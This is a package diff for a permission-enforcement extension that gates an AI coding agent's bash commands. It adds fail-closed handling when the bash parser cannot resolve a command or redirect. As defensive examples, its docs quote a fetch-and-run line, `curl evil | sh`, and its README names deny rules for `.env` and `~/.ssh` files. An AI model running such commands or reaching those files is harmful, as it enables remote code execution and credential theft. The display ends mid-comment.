@gotgenes/pi-permission-system 31.0.0 → 31.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +26 -0
- package/README.md +1 -1
- package/docs/configuration.md +12 -1
- package/package.json +2 -1
- package/src/access-intent/bash/command-enumeration.ts +62 -7
- package/src/access-intent/bash/parser.ts +66 -0
- package/src/access-intent/bash/redirect-analysis.ts +31 -9
- package/src/bash-advisory-check.ts +3 -2
- package/src/handlers/gates/bash-command.ts +75 -13
- package/src/handlers/gates/helpers.ts +5 -4
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,32 @@ All notable changes to this project will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
7
7
|
|
|
8
|
+
## [31.0.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.1...pi-permission-system-v31.0.2) (2026-09-04)
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
### Bug Fixes
|
|
12
|
+
|
|
13
|
+
* **pi-permission-system:** prompt on a bash command whose parse could not be resolved ([2665c21](https://github.com/gotgenes/pi-packages/commit/2665c21f483bdaf57cb54826f8e19a1a8da493f3)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
|
|
14
|
+
|
|
15
|
+
### Documentation
|
|
16
|
+
|
|
17
|
+
* **pi-permission-system:** record the fail-closed floor for an unresolved parse ([33fd390](https://github.com/gotgenes/pi-packages/commit/33fd390106bcae9ed6df324f36b3cf7e01f5e5a7)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
|
|
18
|
+
|
|
19
|
+
## [31.0.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.0...pi-permission-system-v31.0.1) (2026-09-03)
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
### Bug Fixes
|
|
23
|
+
|
|
24
|
+
* **pi-permission-system:** consult both path directions for a redirect the parser could not resolve ([0327feb](https://github.com/gotgenes/pi-packages/commit/0327feb9d2cefc47fcebe724ee94cf9949a8749a)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
|
|
25
|
+
|
|
26
|
+
### Documentation
|
|
27
|
+
|
|
28
|
+
* **pi-permission-system:** commit the instrument behind the unresolved-redirect measurement ([757affe](https://github.com/gotgenes/pi-packages/commit/757affeac19400bf7764c9f06fa58bf18ccafc1e)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
|
|
29
|
+
* **pi-permission-system:** mark Phase 14 Step 12 complete ([07d23ef](https://github.com/gotgenes/pi-packages/commit/07d23ef6cffb954058ff2f8fe43917a937de437f)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
|
|
30
|
+
* **pi-permission-system:** register the unresolved-redirect measurement script ([8203898](https://github.com/gotgenes/pi-packages/commit/8203898bd2dadb62ae72e5bedb579bbaf062cf03)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
|
|
31
|
+
* **pi-permission-system:** state the unresolved-redirect residual as a parse fact ([e74c2fc](https://github.com/gotgenes/pi-packages/commit/e74c2fc3c63bf4a18b63334e1fb9b24565fb36b2)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
|
|
32
|
+
* **pi-permission-system:** describe the unresolvable-redirect rule as users meet it ([9e57a90](https://github.com/gotgenes/pi-packages/commit/9e57a909e7719fbfa670ad3ec153e5aa2faf1510)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
|
|
33
|
+
|
|
8
34
|
## [31.0.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v30.2.0...pi-permission-system-v31.0.0) (2026-09-02)
|
|
9
35
|
|
|
10
36
|
|
package/README.md
CHANGED
|
@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
|
|
|
19
19
|
- **Gates MCP and skill access** at server, tool, and skill-name granularity
|
|
20
20
|
- **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
|
|
21
21
|
- **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
|
|
22
|
-
- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and
|
|
22
|
+
- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and a bash command the parser could not resolve, in whole or in part — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
|
|
23
23
|
- **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
|
|
24
24
|
- **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI, and every prompt it announces — including one forwarded up from a subagent — is answered by a `permissions:decision` on the same bus
|
|
25
25
|
- **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
|
package/docs/configuration.md
CHANGED
|
@@ -430,6 +430,11 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
|
|
|
430
430
|
- A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
|
|
431
431
|
A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
|
|
432
432
|
An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
|
|
433
|
+
- A command the parser could only *partly* resolve is floored the same way (the synthetic `<unparsed-bash-subtree>` pattern in the review log).
|
|
434
|
+
Recovered structure is not evidence of what runs, so any command unit at or beneath the statement holding the unresolved region has its `allow` clamped up to `ask`; an explicit `deny` or `ask` on that unit still decides.
|
|
435
|
+
The prompt names the **whole** command rather than the unit, because a partial failure can drop a command from the parse entirely and the fragment that did parse is not what you need to see.
|
|
436
|
+
A statement beside the failed one keeps its own rule.
|
|
437
|
+
Most such commands are simply malformed, and the shell would refuse them too — but not all: `git commit -F - <<'MSG' 2>&1 | tail -4` is valid bash that `tree-sitter-bash` cannot parse, because a heredoc redirect combined with `2>&1` **and** a pipe defeats the grammar though each pairing alone is fine.
|
|
433
438
|
- An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
|
|
434
439
|
An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
|
|
435
440
|
So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
|
|
@@ -438,8 +443,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
|
|
|
438
443
|
An `allow` is clamped to `ask`, and an explicit `deny` still denies.
|
|
439
444
|
The one exception is a wrapper running a [pure-reader command](#wrapper-transparency), whose direction is provable however unknown its argument feed is.
|
|
440
445
|
|
|
441
|
-
Every synthetic `ask` above — the
|
|
446
|
+
Every synthetic `ask` above — the two parse sentinels and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
|
|
442
447
|
An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
|
|
448
|
+
Approving one for the session works normally: the floors clamp the decision and leave the grant's provenance intact, so a command you have already approved does not prompt again.
|
|
443
449
|
|
|
444
450
|
Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
|
|
445
451
|
A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
|
|
@@ -766,6 +772,11 @@ A tool's identity establishes its direction, and on the bash surface a redirect
|
|
|
766
772
|
An access whose direction cannot be established consults **both** surfaces and takes the more restrictive answer.
|
|
767
773
|
That is deliberate: an unproven access is never treated as the narrower one.
|
|
768
774
|
|
|
775
|
+
A redirect the parser could not make sense of is unproven for the same reason.
|
|
776
|
+
The read-write open `<>` is the clearest case: `tree-sitter-bash` has no node for it, so neither half of the operator can be trusted to describe the whole, and its destination consults both surfaces rather than the one the surviving half would name.
|
|
777
|
+
The rule is about the parse rather than about `<>`, so it also covers a redirect that is itself well-formed but sits beside something the parser could not read: in `cat $(( > out.txt`, the `> out.txt` consults both surfaces too.
|
|
778
|
+
That is deliberate — a command nobody could parse is the last place to assume a file is only being read — and it does not reach past the neighbour, so a redirect in a later statement keeps its proof.
|
|
779
|
+
|
|
769
780
|
Attribution is per **token**, not per command, so one invocation can do both: in `cat notes.md > /backup/notes.md`, `notes.md` is a read and `/backup/notes.md` is a write.
|
|
770
781
|
A redirect operator's proof is absolute — it overrides whatever the command in front of it proved, because `> out.txt` writes `out.txt` however read-only that command is.
|
|
771
782
|
When the same path is reached twice with disagreeing directions (`cat a.txt > a.txt`), the two fold to unproven, which consults both surfaces.
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@gotgenes/pi-permission-system",
|
|
3
|
-
"version": "31.0.
|
|
3
|
+
"version": "31.0.2",
|
|
4
4
|
"description": "Permission enforcement extension for the Pi coding agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"exports": {
|
|
@@ -92,6 +92,7 @@
|
|
|
92
92
|
"measure:core-coverage": "node scripts/measure-core-coverage.mjs",
|
|
93
93
|
"measure:statement-descent": "node scripts/measure-statement-descent.mjs",
|
|
94
94
|
"measure:statement-operands": "node scripts/measure-statement-operands.mjs",
|
|
95
|
+
"measure:unresolved-redirects": "node scripts/measure-unresolved-redirects.mjs",
|
|
95
96
|
"measure:wrapper-transparency": "node scripts/measure-wrapper-transparency.mjs",
|
|
96
97
|
"lint:md": "rumdl check *.md docs/**/*.md",
|
|
97
98
|
"lint": "biome check . && eslint . && pnpm run lint:md"
|
|
@@ -2,7 +2,10 @@ import {
|
|
|
2
2
|
EXECUTION_HOST_TYPES,
|
|
3
3
|
forEachExecutionIn,
|
|
4
4
|
} from "#src/access-intent/bash/nested-execution";
|
|
5
|
-
import
|
|
5
|
+
import {
|
|
6
|
+
parseUnresolvedWithin,
|
|
7
|
+
type TSNode,
|
|
8
|
+
} from "#src/access-intent/bash/parser";
|
|
6
9
|
import { redirectMayWriteFile } from "#src/access-intent/bash/redirect-analysis";
|
|
7
10
|
import {
|
|
8
11
|
type CommandWord,
|
|
@@ -53,6 +56,13 @@ export interface BashCommand {
|
|
|
53
56
|
* and an established {@link executedUnit}.
|
|
54
57
|
*/
|
|
55
58
|
readonly floorExemption?: FloorExemption;
|
|
59
|
+
/**
|
|
60
|
+
* Set when this unit was emitted from, or beneath, a statement holding a
|
|
61
|
+
* region tree-sitter could not resolve. Its decision is floored to at least
|
|
62
|
+
* `ask`, because the recovered structure is not evidence of what runs — ADR
|
|
63
|
+
* 0013 §10's fail-closed base case (#840).
|
|
64
|
+
*/
|
|
65
|
+
readonly parseUnresolved?: true;
|
|
56
66
|
}
|
|
57
67
|
|
|
58
68
|
/**
|
|
@@ -74,10 +84,18 @@ interface UnitScope {
|
|
|
74
84
|
* withholds the floor exemption from any wrapper unit beneath it.
|
|
75
85
|
*/
|
|
76
86
|
readonly writesViaRedirect: boolean;
|
|
87
|
+
/**
|
|
88
|
+
* True when the enclosing statement holds a region tree-sitter could not
|
|
89
|
+
* resolve, so every unit beneath it is floored rather than trusted (#840).
|
|
90
|
+
*/
|
|
91
|
+
readonly parseUnresolved: boolean;
|
|
77
92
|
}
|
|
78
93
|
|
|
79
|
-
/** A top-level command in the current shell, writing no file. */
|
|
80
|
-
const TOP_LEVEL_SCOPE: UnitScope = {
|
|
94
|
+
/** A top-level command in the current shell, writing no file, fully parsed. */
|
|
95
|
+
const TOP_LEVEL_SCOPE: UnitScope = {
|
|
96
|
+
writesViaRedirect: false,
|
|
97
|
+
parseUnresolved: false,
|
|
98
|
+
};
|
|
81
99
|
|
|
82
100
|
// ── Node-type vocabulary ─────────────────────────────────────────────────────
|
|
83
101
|
|
|
@@ -184,6 +202,11 @@ const STATEMENT_TYPES = new Set([
|
|
|
184
202
|
* The enclosing command/statement is always still emitted whole, so adding the
|
|
185
203
|
* nested units can only ever produce a more-restrictive decision, never weaker.
|
|
186
204
|
*
|
|
205
|
+
* A unit emitted from, or beneath, a statement holding a region tree-sitter
|
|
206
|
+
* could not resolve is marked {@link BashCommand.parseUnresolved}, so the
|
|
207
|
+
* verdict fold can floor it rather than match its recovered text against the
|
|
208
|
+
* bash rules (#840).
|
|
209
|
+
*
|
|
187
210
|
* Each emitted command unit has any leading `variable_assignment` prefix
|
|
188
211
|
* stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
|
|
189
212
|
* wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
|
|
@@ -197,7 +220,7 @@ export function collectCommands(node: TSNode): BashCommand[] {
|
|
|
197
220
|
|
|
198
221
|
function collectCommandsInto(
|
|
199
222
|
node: TSNode,
|
|
200
|
-
|
|
223
|
+
inherited: UnitScope,
|
|
201
224
|
out: BashCommand[],
|
|
202
225
|
): void {
|
|
203
226
|
// Anonymous tokens (operators `&&`/`;`/`|`, delimiters `$(`/`)`/`` ` ``/`(`)
|
|
@@ -205,6 +228,8 @@ function collectCommandsInto(
|
|
|
205
228
|
if (!node.isNamed) return;
|
|
206
229
|
if (COMMAND_ENUM_SKIP.has(node.type)) return;
|
|
207
230
|
|
|
231
|
+
const scope = unresolvedScope(node, inherited);
|
|
232
|
+
|
|
208
233
|
if (node.type === "command") {
|
|
209
234
|
out.push(makeCommandUnit(node, scope));
|
|
210
235
|
// A command's text already contains any substitution; descend its subtree
|
|
@@ -265,6 +290,29 @@ function collectCommandsInto(
|
|
|
265
290
|
collectHostedCommands(node, out);
|
|
266
291
|
}
|
|
267
292
|
|
|
293
|
+
/**
|
|
294
|
+
* The scope `node`'s own subtree establishes, marking it unresolved when
|
|
295
|
+
* tree-sitter could not parse a region within it (#840).
|
|
296
|
+
*
|
|
297
|
+
* The three pure containers are deliberately excluded. `program`, `list`, and
|
|
298
|
+
* `pipeline` report an error whenever *anything* anywhere beneath them failed,
|
|
299
|
+
* so asking there would mark every unit of the command and make the answer
|
|
300
|
+
* per-program rather than per-statement. Excluded, `rm -rf /tmp/y` in
|
|
301
|
+
* `echo hi > out.txt <> rw.txt; rm -rf /tmp/y` keeps its own rule, while every
|
|
302
|
+
* unit under the failed statement is floored.
|
|
303
|
+
*
|
|
304
|
+
* Over-marking is the fail-closed direction — the flag can only floor an
|
|
305
|
+
* `allow` up to `ask`, never weaken a decision — which is what makes marking a
|
|
306
|
+
* whole statement for a failure buried in one of its redirects acceptable.
|
|
307
|
+
*/
|
|
308
|
+
function unresolvedScope(node: TSNode, scope: UnitScope): UnitScope {
|
|
309
|
+
if (scope.parseUnresolved) return scope;
|
|
310
|
+
if (COMMAND_ENUM_DESCEND.has(node.type)) return scope;
|
|
311
|
+
return parseUnresolvedWithin(node)
|
|
312
|
+
? { ...scope, parseUnresolved: true }
|
|
313
|
+
: scope;
|
|
314
|
+
}
|
|
315
|
+
|
|
268
316
|
/** The wrapper facts a `command` node's words establish about its unit. */
|
|
269
317
|
interface WrapperFacts {
|
|
270
318
|
readonly wrapperKind?: WrapperKind;
|
|
@@ -284,7 +332,11 @@ function makeUnit(
|
|
|
284
332
|
const flagged = wrapperKind ? { ...scoped, wrapperKind } : scoped;
|
|
285
333
|
const named =
|
|
286
334
|
executedUnit === undefined ? flagged : { ...flagged, executedUnit };
|
|
287
|
-
|
|
335
|
+
const exempted =
|
|
336
|
+
floorExemption === undefined ? named : { ...named, floorExemption };
|
|
337
|
+
return scope.parseUnresolved
|
|
338
|
+
? { ...exempted, parseUnresolved: true }
|
|
339
|
+
: exempted;
|
|
288
340
|
}
|
|
289
341
|
|
|
290
342
|
/**
|
|
@@ -423,10 +475,13 @@ function collectHostedCommands(node: TSNode, out: BashCommand[]): void {
|
|
|
423
475
|
forEachExecutionIn(node, (contextNode, context) => {
|
|
424
476
|
// A nested execution starts fresh: an enclosing statement's redirect is
|
|
425
477
|
// that statement's, not the substitution's, exactly as #807 attributes a
|
|
426
|
-
// nested command's path tokens to its own command.
|
|
478
|
+
// nested command's path tokens to its own command. The parse question
|
|
479
|
+
// starts fresh for the same reason and costs nothing either way — each
|
|
480
|
+
// statement inside re-asks it of itself, and the enclosing statement's own
|
|
481
|
+
// units carry the mark regardless, so the verdict is unchanged (#840).
|
|
427
482
|
descendCommandChildren(
|
|
428
483
|
contextNode,
|
|
429
|
-
{ context, writesViaRedirect: false },
|
|
484
|
+
{ context, writesViaRedirect: false, parseUnresolved: false },
|
|
430
485
|
out,
|
|
431
486
|
);
|
|
432
487
|
});
|
|
@@ -4,6 +4,11 @@ import { memoizeAsyncWithRetry } from "#src/async-cache";
|
|
|
4
4
|
/**
|
|
5
5
|
* Minimal subset of web-tree-sitter's SyntaxNode used by the AST walker.
|
|
6
6
|
* Defined locally so callers do not need to import web-tree-sitter types.
|
|
7
|
+
*
|
|
8
|
+
* The last two members are the parse's own health, where every other member
|
|
9
|
+
* describes a *successful* parse's structure. They are read only by this
|
|
10
|
+
* module's two `parseUnresolved*` predicates — see their doc comments for why
|
|
11
|
+
* that boundary matters.
|
|
7
12
|
*/
|
|
8
13
|
export interface TSNode {
|
|
9
14
|
readonly type: string;
|
|
@@ -13,9 +18,70 @@ export interface TSNode {
|
|
|
13
18
|
readonly childCount: number;
|
|
14
19
|
/** False for anonymous tokens (operators, delimiters); true for named nodes. */
|
|
15
20
|
readonly isNamed: boolean;
|
|
21
|
+
/** True when this node is an error or missing token, or contains one. */
|
|
22
|
+
readonly hasError: boolean;
|
|
23
|
+
/** The node immediately before this one under the same parent, named or not. */
|
|
24
|
+
readonly previousSibling: TSNode | null;
|
|
16
25
|
child(index: number): TSNode | null;
|
|
17
26
|
}
|
|
18
27
|
|
|
28
|
+
/**
|
|
29
|
+
* Whether tree-sitter failed to resolve the syntax at `node`.
|
|
30
|
+
*
|
|
31
|
+
* Error recovery disposes of text it cannot attach in one of two places, and
|
|
32
|
+
* which one it picks depends on what follows. The read-write open `<>`, which
|
|
33
|
+
* `tree-sitter-bash` 0.25.1 has no node for, shows both: `cat <> rw.txt` keeps
|
|
34
|
+
* the discarded `>` as an `ERROR` *child* of the redirect, while
|
|
35
|
+
* `cat <> ~/rw.txt` strands the `<` as an `ERROR` *sibling* ahead of a redirect
|
|
36
|
+
* that is otherwise indistinguishable from a genuine `> ~/rw.txt`. A reader
|
|
37
|
+
* that consults only the node's own subtree sees the first and not the second.
|
|
38
|
+
*
|
|
39
|
+
* The immediate predecessor, rather than the enclosing statement, is what makes
|
|
40
|
+
* the answer per-redirect: in `cat a > out.txt <> ~/rw.txt` the statement has
|
|
41
|
+
* an error but its first redirect is a fully resolved write, and condemning it
|
|
42
|
+
* would forfeit a proof the parse really did establish.
|
|
43
|
+
*
|
|
44
|
+
* The question is about the parse, not about `<>`, so the population is wider
|
|
45
|
+
* than the form that exposed it: `cat $(( > out.txt` and `echo ) > out.txt`
|
|
46
|
+
* both carry a perfectly good `> out.txt` whose predecessor failed for an
|
|
47
|
+
* unrelated reason, and both go unproven. That is the accepted cost, and it is
|
|
48
|
+
* the same shape as the only real occurrence measured across 5000+ logged
|
|
49
|
+
* commands — `git commit -F - <<'MSG' 2>&1 | tail -4`, valid bash the grammar
|
|
50
|
+
* cannot parse (ADR 0013's 2026-08-29 amendment), where the demoted token
|
|
51
|
+
* belongs to no `<>` either. Over-refusing costs a prompt; under-refusing hands
|
|
52
|
+
* a write to a read grant.
|
|
53
|
+
*
|
|
54
|
+
* This module is the one place {@link TSNode.hasError} and
|
|
55
|
+
* {@link TSNode.previousSibling} are read. Keeping the lateral navigation here
|
|
56
|
+
* is deliberate: recovering-parser behavior is a fact about tree-sitter rather
|
|
57
|
+
* than about any construct, so a caller asks this question instead of
|
|
58
|
+
* hand-rolling a sibling walk of its own.
|
|
59
|
+
*/
|
|
60
|
+
export function parseUnresolvedAt(node: TSNode): boolean {
|
|
61
|
+
return node.hasError || (node.previousSibling?.hasError ?? false);
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
/**
|
|
65
|
+
* Whether tree-sitter failed to resolve the syntax anywhere within `node`.
|
|
66
|
+
*
|
|
67
|
+
* The subtree-only question, and the one a walker descending statements asks:
|
|
68
|
+
* a statement holding an unresolved region is one whose recovered shape is
|
|
69
|
+
* invented rather than observed, so nothing beneath it is evidence of what
|
|
70
|
+
* runs. The failure can sit well below the statement that exposes it —
|
|
71
|
+
* `git commit -F - <<'MSG' 2>&1 | tail -4` strands its `ERROR` under
|
|
72
|
+
* `heredoc_redirect → file_redirect`, where no command node sees it.
|
|
73
|
+
*
|
|
74
|
+
* {@link parseUnresolvedAt} answers the redirect-shaped question instead,
|
|
75
|
+
* widening to the immediate predecessor because error recovery strands a
|
|
76
|
+
* discarded operator ahead of the redirect it belonged to. That widening is a
|
|
77
|
+
* fact about redirects, not about statements: a statement whose *predecessor*
|
|
78
|
+
* failed is not itself unparsed, and borrowing the wider predicate here would
|
|
79
|
+
* condemn every statement following a failed one.
|
|
80
|
+
*/
|
|
81
|
+
export function parseUnresolvedWithin(node: TSNode): boolean {
|
|
82
|
+
return node.hasError;
|
|
83
|
+
}
|
|
84
|
+
|
|
19
85
|
/**
|
|
20
86
|
* Minimal subset of web-tree-sitter's Parser used by this module.
|
|
21
87
|
*/
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import { redirectDestinationEffect } from "#src/access-intent/bash/command-effects";
|
|
2
|
-
import type
|
|
3
|
-
import type
|
|
2
|
+
import { parseUnresolvedAt, type TSNode } from "#src/access-intent/bash/parser";
|
|
3
|
+
import { type TokenEffect, UNPROVEN_EFFECT } from "#src/access-intent/effect";
|
|
4
4
|
|
|
5
5
|
/**
|
|
6
6
|
* What a redirect node in the parse tree proves.
|
|
@@ -17,6 +17,11 @@ import type { TokenEffect } from "#src/access-intent/effect";
|
|
|
17
17
|
* whether it is safe to *remove* the wrapper floor, so it answers with a
|
|
18
18
|
* refusal: anything it cannot resolve counts against the exemption (#803).
|
|
19
19
|
* One reader of the node keeps the two from drifting on what a redirect is.
|
|
20
|
+
*
|
|
21
|
+
* The two burdens meet at one fact: whether the parse resolved at all. Both
|
|
22
|
+
* answers ask `parseUnresolvedAt`, so a syntax form the grammar could not
|
|
23
|
+
* handle cannot be a proof to one caller and a resolvable read to the other
|
|
24
|
+
* (#814).
|
|
20
25
|
*/
|
|
21
26
|
|
|
22
27
|
/**
|
|
@@ -26,15 +31,28 @@ import type { TokenEffect } from "#src/access-intent/effect";
|
|
|
26
31
|
* `>&` and `<&` are the two operators that may name either a file descriptor
|
|
27
32
|
* (`2>&1`) or a real file (`cmd >& out`); the destination node's type is the
|
|
28
33
|
* parse-tree fact that tells them apart.
|
|
34
|
+
*
|
|
35
|
+
* A redirect the parse could not resolve proves nothing — ADR 0013 §10's base
|
|
36
|
+
* case, which consults both directional surfaces. Reading a proof off whichever
|
|
37
|
+
* operator survived error recovery made `cat <> rw.txt` a read and
|
|
38
|
+
* `cat <> ~/rw.txt` a write, so one command's answer was a function of its
|
|
39
|
+
* filename, and the read half was a fail-open on a destination the shell may
|
|
40
|
+
* truncate (#814).
|
|
41
|
+
*
|
|
42
|
+
* The demotion applies to a *proof*, never to the `null`: a descriptor
|
|
43
|
+
* duplication names no file whatever the operator around it did, so demoting
|
|
44
|
+
* first would emit a descriptor number as a path candidate.
|
|
29
45
|
*/
|
|
30
46
|
export function redirectEffectForDestination(
|
|
31
47
|
redirect: TSNode,
|
|
32
48
|
destination: TSNode,
|
|
33
49
|
): TokenEffect | null {
|
|
34
|
-
|
|
50
|
+
const proven = redirectDestinationEffect(
|
|
35
51
|
redirectOperatorOf(redirect),
|
|
36
52
|
DESCRIPTOR_NODE_TYPES.has(destination.type),
|
|
37
53
|
);
|
|
54
|
+
if (proven === null) return null;
|
|
55
|
+
return parseUnresolvedAt(redirect) ? UNPROVEN_EFFECT : proven;
|
|
38
56
|
}
|
|
39
57
|
|
|
40
58
|
/**
|
|
@@ -49,20 +67,24 @@ export function redirectEffectForDestination(
|
|
|
49
67
|
* shapes least visible to every other surface — the path projection does not
|
|
50
68
|
* collect them either (#609).
|
|
51
69
|
*
|
|
52
|
-
*
|
|
53
|
-
*
|
|
54
|
-
*
|
|
70
|
+
* An unresolved parse is refused up front rather than left to the loop. The
|
|
71
|
+
* loop would usually reach the same answer — a demoted destination is unproven,
|
|
72
|
+
* which is not a read — but `cat <>&1` parses to a redirect whose only children
|
|
73
|
+
* are the operator and a descriptor, so the loop finds nothing to refuse on and
|
|
74
|
+
* clears the exemption for a form nobody understood (#814).
|
|
75
|
+
*
|
|
76
|
+
* Past that, only two things clear it: a descriptor duplication (`2>&1`), which
|
|
77
|
+
* names no file, and an operator that proves a read — reading a file alongside
|
|
78
|
+
* a pure reader leaves it a pure reader.
|
|
55
79
|
*/
|
|
56
80
|
export function redirectMayWriteFile(redirect: TSNode): boolean {
|
|
81
|
+
if (parseUnresolvedAt(redirect)) return true;
|
|
57
82
|
for (let i = 0; i < redirect.childCount; i++) {
|
|
58
83
|
const child = redirect.child(i);
|
|
59
84
|
// The operator itself is the redirect's only unnamed child.
|
|
60
85
|
if (!child?.isNamed) continue;
|
|
61
86
|
// A source or duplicated descriptor (`2`, `&1`) names no file.
|
|
62
87
|
if (DESCRIPTOR_NODE_TYPES.has(child.type)) continue;
|
|
63
|
-
// A shape the grammar could not resolve (`<>` degrades to one) says nothing
|
|
64
|
-
// about direction, so it cannot clear the check.
|
|
65
|
-
if (child.type === "ERROR") return true;
|
|
66
88
|
if (redirectEffectForDestination(redirect, child)?.effect !== "read") {
|
|
67
89
|
return true;
|
|
68
90
|
}
|
|
@@ -10,8 +10,9 @@ import type { PermissionCheckResult } from "#src/types";
|
|
|
10
10
|
* command-pattern units and routed through the same shared orchestrator the
|
|
11
11
|
* enforcement gate uses (`resolveBashCommandCheck`) — so a chained/nested
|
|
12
12
|
* command returns the most-restrictive decision (`deny > ask > allow`) and
|
|
13
|
-
* inherits the opaque-wrapper floor (#481) and
|
|
14
|
-
* `<unparseable-bash-command>`
|
|
13
|
+
* inherits the opaque-wrapper floor (#481) and both fail-closed parse
|
|
14
|
+
* sentinels — `<unparseable-bash-command>` (#452) and `<unparsed-bash-subtree>`
|
|
15
|
+
* (#840) — at parity with the gate.
|
|
15
16
|
*
|
|
16
17
|
* In the pre-warm window (`parseBashCommandsSync` returns `null`) it falls back
|
|
17
18
|
* to the pre-#309 whole-string match, so the advisory answer is never *weaker*
|
|
@@ -40,6 +40,12 @@ import type { PermissionCheckResult } from "#src/types";
|
|
|
40
40
|
* explicit `deny` covering it denies outright rather than being masked into an
|
|
41
41
|
* approvable prompt (#712).
|
|
42
42
|
*
|
|
43
|
+
* A *partial* parse failure is the other half of that clause: the units the
|
|
44
|
+
* recovery produced are enumerated normally, and any one the enumerator marked
|
|
45
|
+
* {@link BashCommand.parseUnresolved} has its `allow` floored to a synthetic
|
|
46
|
+
* `ask` naming the whole command (`<unparsed-bash-subtree>`, #840), because
|
|
47
|
+
* recovered structure is not evidence of what runs.
|
|
48
|
+
*
|
|
43
49
|
* Pure and synchronous: the (async, tree-sitter) parse happens once in the
|
|
44
50
|
* handler, which passes the decomposed `commands` here.
|
|
45
51
|
*/
|
|
@@ -52,6 +58,12 @@ const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
|
|
|
52
58
|
indirection: "<indirection-bash-wrapper>",
|
|
53
59
|
};
|
|
54
60
|
|
|
61
|
+
/**
|
|
62
|
+
* The synthetic `matchedPattern` recorded when a unit the parse could not
|
|
63
|
+
* resolve has its `allow` floored to `ask` (ADR 0013 §10, #840).
|
|
64
|
+
*/
|
|
65
|
+
const UNPARSED_SUBTREE_SENTINEL = "<unparsed-bash-subtree>";
|
|
66
|
+
|
|
55
67
|
export function resolveBashCommandCheck(
|
|
56
68
|
command: string,
|
|
57
69
|
commands: BashCommand[],
|
|
@@ -76,25 +88,75 @@ export function resolveBashCommandCheck(
|
|
|
76
88
|
};
|
|
77
89
|
}
|
|
78
90
|
|
|
79
|
-
const results = commands.map((cmd) =>
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
cmd.wrapperKind && base.state === "allow"
|
|
83
|
-
? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
|
|
84
|
-
: base;
|
|
85
|
-
const result = cmd.context
|
|
86
|
-
? { ...floored, commandContext: cmd.context }
|
|
87
|
-
: floored;
|
|
88
|
-
return cmd.executedUnit === undefined
|
|
89
|
-
? result
|
|
90
|
-
: { ...result, executedUnit: cmd.executedUnit };
|
|
91
|
-
});
|
|
91
|
+
const results = commands.map((cmd) =>
|
|
92
|
+
resolveCommandUnit(cmd, command, agentName, resolver),
|
|
93
|
+
);
|
|
92
94
|
return (
|
|
93
95
|
pickMostRestrictive(results) ??
|
|
94
96
|
resolveOnBashSurface(command, agentName, resolver)
|
|
95
97
|
);
|
|
96
98
|
}
|
|
97
99
|
|
|
100
|
+
/**
|
|
101
|
+
* Resolve one command unit of the chain: its own `bash`-surface rule, floored
|
|
102
|
+
* where the enumerator established a reason to floor it, then tagged with the
|
|
103
|
+
* facts the prompt and the session-approval suggestion read off the winner.
|
|
104
|
+
